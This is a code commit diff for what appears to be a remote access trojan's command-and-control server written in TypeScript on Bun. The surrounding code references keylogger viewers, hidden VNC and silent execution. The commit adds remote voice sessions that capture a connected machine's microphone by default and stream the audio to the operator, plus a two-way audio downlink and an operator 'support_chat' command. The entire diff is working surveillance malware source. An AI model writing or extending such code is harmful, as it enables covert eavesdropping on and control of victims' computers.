remote voice receiving and talking
This commit is contained in:
@@ -97,6 +97,12 @@ import {
|
||||
handleProxyViewerMessage,
|
||||
handleProxyViewerOpen,
|
||||
} from "./server/ws-file-process-proxy-keylogger";
|
||||
import {
|
||||
cleanupVoiceViewer,
|
||||
handleVoiceUplink,
|
||||
handleVoiceViewerMessage,
|
||||
handleVoiceViewerOpen,
|
||||
} from "./server/ws-voice";
|
||||
import { createNotificationPluginHandlers } from "./server/ws-notifications-plugin";
|
||||
import * as clientManager from "./clientManager";
|
||||
import * as sessionManager from "./sessions/sessionManager";
|
||||
@@ -226,6 +232,13 @@ type PendingScript = {
|
||||
};
|
||||
const pendingScripts = new Map<string, PendingScript>();
|
||||
|
||||
type PendingCommandReply = {
|
||||
resolve: (result: { ok: boolean; message?: string }) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
const pendingCommandReplies = new Map<string, PendingCommandReply>();
|
||||
|
||||
async function startServer() {
|
||||
await loadPluginState();
|
||||
let tls:
|
||||
@@ -314,6 +327,7 @@ async function startServer() {
|
||||
client: {
|
||||
CORS_HEADERS,
|
||||
pendingScripts,
|
||||
pendingCommandReplies,
|
||||
},
|
||||
wsUpgrade: {
|
||||
isAuthorizedAgentRequest: isAuthorizedAgent,
|
||||
@@ -324,6 +338,7 @@ async function startServer() {
|
||||
maxClientPayloadBytes: MAX_WS_MESSAGE_BYTES_CLIENT,
|
||||
maxViewerPayloadBytes: MAX_WS_MESSAGE_BYTES_VIEWER,
|
||||
pendingScripts,
|
||||
pendingCommandReplies,
|
||||
rdStreamingState,
|
||||
hvncStreamingState,
|
||||
getNotificationConfig,
|
||||
@@ -334,6 +349,7 @@ async function startServer() {
|
||||
handleProcessViewerOpen,
|
||||
handleKeyloggerViewerOpen,
|
||||
handleProxyViewerOpen,
|
||||
handleVoiceViewerOpen,
|
||||
handleNotificationViewerOpen: notificationPluginHandlers.handleNotificationViewerOpen,
|
||||
handleConsoleViewerMessage,
|
||||
handleRemoteDesktopViewerMessage,
|
||||
@@ -342,6 +358,7 @@ async function startServer() {
|
||||
handleProcessViewerMessage,
|
||||
handleKeyloggerViewerMessage,
|
||||
handleProxyViewerMessage,
|
||||
handleVoiceViewerMessage,
|
||||
dispatchAutoScriptsForConnection,
|
||||
takePendingNotificationScreenshot: takePendingNotificationScreenshotForClient,
|
||||
storeNotificationScreenshot: storeNotificationScreenshotForPending,
|
||||
@@ -360,6 +377,8 @@ async function startServer() {
|
||||
handleNotificationScreenshotFailure: notificationPluginHandlers.handleNotificationScreenshotFailure,
|
||||
handlePluginEvent: notificationPluginHandlers.handlePluginEvent,
|
||||
handleNotification: notificationPluginHandlers.handleNotification,
|
||||
handleVoiceUplink,
|
||||
cleanupVoiceViewer,
|
||||
stopConsoleOnTarget,
|
||||
sendDesktopCommand,
|
||||
sendHVNCCommand,
|
||||
|
||||
@@ -65,6 +65,11 @@ export type CommandType =
|
||||
| "file_chmod"
|
||||
| "file_execute"
|
||||
| "silent_exec"
|
||||
| "support_chat"
|
||||
| "voice_session_start"
|
||||
| "voice_session_stop"
|
||||
| "voice_downlink"
|
||||
| "voice_capabilities"
|
||||
| "process_list"
|
||||
| "process_kill"
|
||||
| "plugin_load"
|
||||
|
||||
@@ -32,9 +32,16 @@ type PendingScript = {
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
type PendingCommandReply = {
|
||||
resolve: (result: { ok: boolean; message?: string }) => void;
|
||||
reject: (error: Error) => void;
|
||||
timeout: NodeJS.Timeout;
|
||||
};
|
||||
|
||||
type ClientRouteDeps = {
|
||||
CORS_HEADERS: Record<string, string>;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
};
|
||||
|
||||
export async function handleClientRoutes(
|
||||
@@ -378,6 +385,88 @@ export async function handleClientRoutes(
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message }, { status: 500 });
|
||||
}
|
||||
} else if (action === "support_chat") {
|
||||
const message = typeof body?.message === "string" ? body.message.trim() : "";
|
||||
const requireReply = body?.requireReply !== false;
|
||||
const operator = typeof user?.username === "string" ? user.username.trim() : "";
|
||||
|
||||
if (!message) {
|
||||
return Response.json({ ok: false, error: "Message is required" }, { status: 400 });
|
||||
}
|
||||
if (message.length > 1200) {
|
||||
return Response.json({ ok: false, error: "Message too long (max 1200 characters)" }, { status: 400 });
|
||||
}
|
||||
|
||||
const cmdId = uuidv4();
|
||||
const waitTimeoutMs = 4 * 60 * 1000;
|
||||
let replyPromise: Promise<{ ok: boolean; message?: string }> | null = null;
|
||||
|
||||
if (requireReply) {
|
||||
replyPromise = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("Support chat reply timed out"));
|
||||
}, waitTimeoutMs);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
|
||||
});
|
||||
}
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "support_chat",
|
||||
id: cmdId,
|
||||
payload: {
|
||||
message,
|
||||
requireReply,
|
||||
operator,
|
||||
},
|
||||
}),
|
||||
);
|
||||
metrics.recordCommand("support_chat");
|
||||
|
||||
if (!replyPromise) {
|
||||
return Response.json({ ok: true });
|
||||
}
|
||||
|
||||
try {
|
||||
const reply = await replyPromise;
|
||||
return Response.json({ ok: reply.ok, response: reply.message || "" }, { headers: deps.CORS_HEADERS });
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message || "Support chat failed" }, { status: 504 });
|
||||
}
|
||||
} else if (action === "voice_capabilities") {
|
||||
const cmdId = uuidv4();
|
||||
const replyPromise: Promise<{ ok: boolean; message?: string }> = new Promise((resolve, reject) => {
|
||||
const timeout = setTimeout(() => {
|
||||
deps.pendingCommandReplies.delete(cmdId);
|
||||
reject(new Error("Voice capability probe timed out"));
|
||||
}, 30_000);
|
||||
deps.pendingCommandReplies.set(cmdId, { resolve, reject, timeout });
|
||||
});
|
||||
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: "voice_capabilities",
|
||||
id: cmdId,
|
||||
}),
|
||||
);
|
||||
|
||||
try {
|
||||
const result = await replyPromise;
|
||||
let caps: any = null;
|
||||
if (result.message) {
|
||||
try {
|
||||
caps = JSON.parse(result.message);
|
||||
} catch {
|
||||
caps = null;
|
||||
}
|
||||
}
|
||||
return Response.json({ ok: result.ok, capabilities: caps, response: result.message || "" }, { headers: deps.CORS_HEADERS });
|
||||
} catch (error: any) {
|
||||
return Response.json({ ok: false, error: error.message || "Voice capability probe failed" }, { status: 504 });
|
||||
}
|
||||
} else if (action === "silent_exec") {
|
||||
if (user.role !== "admin") {
|
||||
return new Response("Forbidden: Admin access required", { status: 403 });
|
||||
|
||||
@@ -112,6 +112,30 @@ export async function handlePageRoutes(
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/voice") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return serveLoginOrUnauthorized(deps);
|
||||
}
|
||||
|
||||
const maybeChange = await serveChangePasswordIfRequired(deps, user.userId);
|
||||
if (maybeChange) return maybeChange;
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
|
||||
const clientId = (url.searchParams.get("clientId") || "").trim();
|
||||
if (!canAccessClientPage(user.userId, user.role, clientId)) {
|
||||
return new Response("Forbidden: Client access denied", { status: 403 });
|
||||
}
|
||||
|
||||
const file = Bun.file(`${deps.PUBLIC_ROOT}/voice.html`);
|
||||
if (await file.exists()) {
|
||||
return new Response(file, { headers: deps.secureHeaders(deps.mimeType("voice.html")) });
|
||||
}
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/metrics") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -17,10 +17,16 @@ type PendingScript = {
|
||||
resolve: (value: { ok?: boolean; result?: string; error?: string }) => void;
|
||||
};
|
||||
|
||||
type PendingCommandReply = {
|
||||
timeout: ReturnType<typeof setTimeout>;
|
||||
resolve: (value: { ok: boolean; message?: string }) => void;
|
||||
};
|
||||
|
||||
type WsLifecycleDeps = {
|
||||
maxClientPayloadBytes: number;
|
||||
maxViewerPayloadBytes: number;
|
||||
pendingScripts: Map<string, PendingScript>;
|
||||
pendingCommandReplies: Map<string, PendingCommandReply>;
|
||||
rdStreamingState: Map<string, unknown>;
|
||||
hvncStreamingState: Map<string, unknown>;
|
||||
getNotificationConfig: () => { keywords?: string[]; minIntervalMs?: number };
|
||||
@@ -31,6 +37,7 @@ type WsLifecycleDeps = {
|
||||
handleProcessViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleKeyloggerViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleProxyViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleVoiceViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleNotificationViewerOpen: (ws: ServerWebSocket<SocketData>) => void;
|
||||
handleConsoleViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleRemoteDesktopViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
@@ -39,6 +46,7 @@ type WsLifecycleDeps = {
|
||||
handleProcessViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleKeyloggerViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleProxyViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
handleVoiceViewerMessage: (ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) => void;
|
||||
dispatchAutoScriptsForConnection: (info: ClientInfo, ws: ServerWebSocket<SocketData>) => void;
|
||||
takePendingNotificationScreenshot: (clientId: string) => any;
|
||||
storeNotificationScreenshot: (
|
||||
@@ -58,6 +66,8 @@ type WsLifecycleDeps = {
|
||||
handleNotificationScreenshotFailure: (commandId: string | undefined, ok: boolean | undefined, message: string | undefined) => void;
|
||||
handlePluginEvent: (clientId: string, payload: any) => void;
|
||||
handleNotification: (clientId: string, payload: any) => void;
|
||||
handleVoiceUplink: (clientId: string, payload: any) => void;
|
||||
cleanupVoiceViewer: (ws: ServerWebSocket<SocketData>) => void;
|
||||
stopConsoleOnTarget: (target: ClientInfo | undefined, sessionId: string) => void;
|
||||
sendDesktopCommand: (target: ClientInfo | undefined, commandType: string, payload: Record<string, unknown>) => void;
|
||||
sendHVNCCommand: (target: ClientInfo, commandType: string, payload: Record<string, unknown>) => void;
|
||||
@@ -77,6 +87,7 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
|
||||
if (role === "process_viewer") return deps.handleProcessViewerOpen(ws);
|
||||
if (role === "keylogger_viewer") return deps.handleKeyloggerViewerOpen(ws);
|
||||
if (role === "proxy_viewer") return deps.handleProxyViewerOpen(ws);
|
||||
if (role === "voice_viewer") return deps.handleVoiceViewerOpen(ws);
|
||||
if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
|
||||
|
||||
const id = clientId || uuidv4();
|
||||
@@ -134,6 +145,7 @@ export function handleWebSocketMessage(
|
||||
if (socketRole === "process_viewer") return deps.handleProcessViewerMessage(ws, message);
|
||||
if (socketRole === "keylogger_viewer") return deps.handleKeyloggerViewerMessage(ws, message);
|
||||
if (socketRole === "proxy_viewer") return deps.handleProxyViewerMessage(ws, message);
|
||||
if (socketRole === "voice_viewer") return deps.handleVoiceViewerMessage(ws, message);
|
||||
if (socketRole === "notifications_viewer") return;
|
||||
|
||||
const { clientId, ip } = ws.data;
|
||||
@@ -213,6 +225,17 @@ export function handleWebSocketMessage(
|
||||
case "file_read_result":
|
||||
case "file_search_result":
|
||||
case "command_result":
|
||||
if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
|
||||
const pending = deps.pendingCommandReplies.get((payload as any).commandId);
|
||||
if (pending) {
|
||||
clearTimeout(pending.timeout);
|
||||
pending.resolve({
|
||||
ok: Boolean((payload as any).ok),
|
||||
message: typeof (payload as any).message === "string" ? (payload as any).message : "",
|
||||
});
|
||||
deps.pendingCommandReplies.delete((payload as any).commandId);
|
||||
}
|
||||
}
|
||||
if (typeof (payload as any).commandId === "string") {
|
||||
deps.notifyRdInputLatency((payload as any).commandId);
|
||||
}
|
||||
@@ -259,6 +282,9 @@ export function handleWebSocketMessage(
|
||||
case "notification":
|
||||
deps.handleNotification(info.id, payload);
|
||||
break;
|
||||
case "voice_uplink":
|
||||
deps.handleVoiceUplink(info.id, payload);
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
@@ -356,6 +382,11 @@ export function handleWebSocketClose(
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "voice_viewer") {
|
||||
deps.cleanupVoiceViewer(ws);
|
||||
return;
|
||||
}
|
||||
|
||||
if (role === "notifications_viewer") {
|
||||
if (sessionId) {
|
||||
sessionManager.deleteNotificationSession(sessionId);
|
||||
|
||||
@@ -163,6 +163,24 @@ export async function handleWsUpgradeRoutes(
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
const voiceMatch = url.pathname.match(/^\/api\/clients\/(.+)\/voice\/ws$/);
|
||||
if (voiceMatch) {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
return new Response("Unauthorized", { status: 401 });
|
||||
}
|
||||
|
||||
if (user.role === "viewer") {
|
||||
return new Response("Forbidden: Viewers cannot access interactive features", { status: 403 });
|
||||
}
|
||||
const clientId = voiceMatch[1];
|
||||
const ip = server.requestIP(req)?.address || "";
|
||||
if (server.upgrade(req, { data: { role: "voice_viewer", clientId, ip, userRole: user.role } })) {
|
||||
return new Response();
|
||||
}
|
||||
return new Response("Upgrade failed", { status: 500 });
|
||||
}
|
||||
|
||||
if (req.method === "GET" && url.pathname === "/api/notifications/ws") {
|
||||
const user = await authenticateRequest(req);
|
||||
if (!user) {
|
||||
|
||||
@@ -0,0 +1,119 @@
|
||||
import type { ServerWebSocket } from "bun";
|
||||
import { v4 as uuidv4 } from "uuid";
|
||||
import * as clientManager from "../clientManager";
|
||||
import { encodeMessage } from "../protocol";
|
||||
import * as sessionManager from "../sessions/sessionManager";
|
||||
import type { SocketData, VoiceViewer } from "../sessions/types";
|
||||
|
||||
function sendVoiceCommand(clientId: string, commandType: "voice_session_start" | "voice_session_stop" | "voice_downlink", payload: Record<string, unknown>) {
|
||||
const target = clientManager.getClient(clientId);
|
||||
if (!target) return false;
|
||||
try {
|
||||
target.ws.send(
|
||||
encodeMessage({
|
||||
type: "command",
|
||||
commandType: commandType as any,
|
||||
id: uuidv4(),
|
||||
payload,
|
||||
}),
|
||||
);
|
||||
return true;
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
function safeJson(ws: ServerWebSocket<SocketData>, payload: Record<string, unknown>) {
|
||||
try {
|
||||
ws.send(JSON.stringify(payload));
|
||||
} catch {
|
||||
// ignore broken sockets
|
||||
}
|
||||
}
|
||||
|
||||
export function handleVoiceViewerOpen(ws: ServerWebSocket<SocketData>) {
|
||||
const { clientId } = ws.data;
|
||||
const sessionId = uuidv4();
|
||||
ws.data.sessionId = sessionId;
|
||||
const target = clientManager.getClient(clientId);
|
||||
const session: VoiceViewer = { id: sessionId, clientId, viewer: ws, createdAt: Date.now() };
|
||||
sessionManager.addVoiceSession(session);
|
||||
|
||||
safeJson(ws, { type: "ready", sessionId, clientId, clientOnline: !!target });
|
||||
if (!target) {
|
||||
safeJson(ws, { type: "status", status: "offline", reason: "Client is offline" });
|
||||
return;
|
||||
}
|
||||
|
||||
safeJson(ws, { type: "status", status: "ready" });
|
||||
}
|
||||
|
||||
export function handleVoiceViewerMessage(ws: ServerWebSocket<SocketData>, raw: string | ArrayBuffer | Uint8Array) {
|
||||
const { clientId } = ws.data;
|
||||
if (typeof raw === "string") {
|
||||
try {
|
||||
const message = JSON.parse(raw);
|
||||
if (message?.type === "start") {
|
||||
const source = typeof message?.source === "string" ? message.source : "microphone";
|
||||
const started = sendVoiceCommand(clientId, "voice_session_start", {
|
||||
source,
|
||||
sessionId: ws.data.sessionId,
|
||||
});
|
||||
safeJson(ws, { type: "status", status: started ? "connected" : "error" });
|
||||
return;
|
||||
}
|
||||
if (message?.type === "stop") {
|
||||
sendVoiceCommand(clientId, "voice_session_stop", {});
|
||||
safeJson(ws, { type: "status", status: "disconnected" });
|
||||
}
|
||||
} catch {
|
||||
// ignore malformed JSON control messages
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
const chunk = raw instanceof Uint8Array ? raw : new Uint8Array(raw);
|
||||
if (chunk.byteLength === 0) return;
|
||||
sendVoiceCommand(clientId, "voice_downlink", { data: chunk });
|
||||
}
|
||||
|
||||
export function handleVoiceUplink(clientId: string, payload: any) {
|
||||
const sessionId = typeof payload?.sessionId === "string" ? payload.sessionId : "";
|
||||
const bytes = payload?.data instanceof Uint8Array
|
||||
? payload.data
|
||||
: payload?.data instanceof ArrayBuffer
|
||||
? new Uint8Array(payload.data)
|
||||
: ArrayBuffer.isView(payload?.data)
|
||||
? new Uint8Array(payload.data.buffer)
|
||||
: null;
|
||||
if (!bytes || bytes.byteLength === 0) return;
|
||||
|
||||
for (const session of sessionManager.getAllVoiceSessions().values()) {
|
||||
if (sessionId) {
|
||||
if (session.id !== sessionId) continue;
|
||||
} else if (session.clientId !== clientId) {
|
||||
continue;
|
||||
}
|
||||
try {
|
||||
session.viewer.send(bytes);
|
||||
} catch {
|
||||
// ignore failed sends; cleanup happens on close
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
export function cleanupVoiceViewer(ws: ServerWebSocket<SocketData>) {
|
||||
let removedClientId = ws.data.clientId;
|
||||
for (const [sid, session] of sessionManager.getAllVoiceSessions().entries()) {
|
||||
if (session.viewer === ws) {
|
||||
removedClientId = session.clientId;
|
||||
sessionManager.deleteVoiceSession(sid);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
const hasViewers = sessionManager.getVoiceSessionsByClient(removedClientId).length > 0;
|
||||
if (!hasViewers) {
|
||||
sendVoiceCommand(removedClientId, "voice_session_stop", {});
|
||||
}
|
||||
}
|
||||
@@ -4,6 +4,7 @@ import type {
|
||||
RemoteDesktopViewer,
|
||||
FileBrowserViewer,
|
||||
ProcessViewer,
|
||||
VoiceViewer,
|
||||
NotificationsViewer,
|
||||
KeyloggerViewer,
|
||||
SocketData,
|
||||
@@ -17,6 +18,7 @@ const processSessions = new Map<string, ProcessViewer>();
|
||||
const notificationSessions = new Map<string, NotificationsViewer>();
|
||||
const keyloggerSessions = new Map<string, KeyloggerViewer>();
|
||||
const proxySessions = new Map<string, KeyloggerViewer>(); // Reusing KeyloggerViewer interface for consistency
|
||||
const voiceSessions = new Map<string, VoiceViewer>();
|
||||
|
||||
export function addConsoleSession(session: ConsoleSession): void {
|
||||
consoleSessions.set(session.id, session);
|
||||
@@ -261,3 +263,23 @@ export function getProxySessionsByClient(
|
||||
export function getAllProxySessions(): Map<string, KeyloggerViewer> {
|
||||
return proxySessions;
|
||||
}
|
||||
|
||||
export function addVoiceSession(session: VoiceViewer): void {
|
||||
voiceSessions.set(session.id, session);
|
||||
}
|
||||
|
||||
export function getVoiceSession(sessionId: string): VoiceViewer | undefined {
|
||||
return voiceSessions.get(sessionId);
|
||||
}
|
||||
|
||||
export function deleteVoiceSession(sessionId: string): boolean {
|
||||
return voiceSessions.delete(sessionId);
|
||||
}
|
||||
|
||||
export function getVoiceSessionsByClient(clientId: string): VoiceViewer[] {
|
||||
return Array.from(voiceSessions.values()).filter((s) => s.clientId === clientId);
|
||||
}
|
||||
|
||||
export function getAllVoiceSessions(): Map<string, VoiceViewer> {
|
||||
return voiceSessions;
|
||||
}
|
||||
|
||||
@@ -9,7 +9,8 @@ export type SocketRole =
|
||||
| "process_viewer"
|
||||
| "notifications_viewer"
|
||||
| "keylogger_viewer"
|
||||
| "proxy_viewer";
|
||||
| "proxy_viewer"
|
||||
| "voice_viewer";
|
||||
|
||||
export type SocketData = {
|
||||
role: SocketRole;
|
||||
@@ -61,3 +62,10 @@ export type KeyloggerViewer = {
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
export type VoiceViewer = {
|
||||
id: string;
|
||||
clientId: string;
|
||||
viewer: ServerWebSocket<SocketData>;
|
||||
createdAt: number;
|
||||
};
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "notifications_viewer";
|
||||
export type SocketRole = "client" | "viewer" | "console_viewer" | "rd_viewer" | "hvnc_viewer" | "file_browser_viewer" | "process_viewer" | "keylogger_viewer" | "proxy_viewer" | "voice_viewer" | "notifications_viewer";
|
||||
|
||||
export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"hello",
|
||||
@@ -23,6 +23,7 @@ export const ALLOWED_CLIENT_MESSAGE_TYPES = new Set([
|
||||
"keylog_file_content",
|
||||
"keylog_clear_result",
|
||||
"keylog_delete_result",
|
||||
"voice_uplink",
|
||||
]);
|
||||
|
||||
export function isAllowedClientMessageType(type: string): boolean {
|
||||
|
||||
Reference in New Issue
Block a user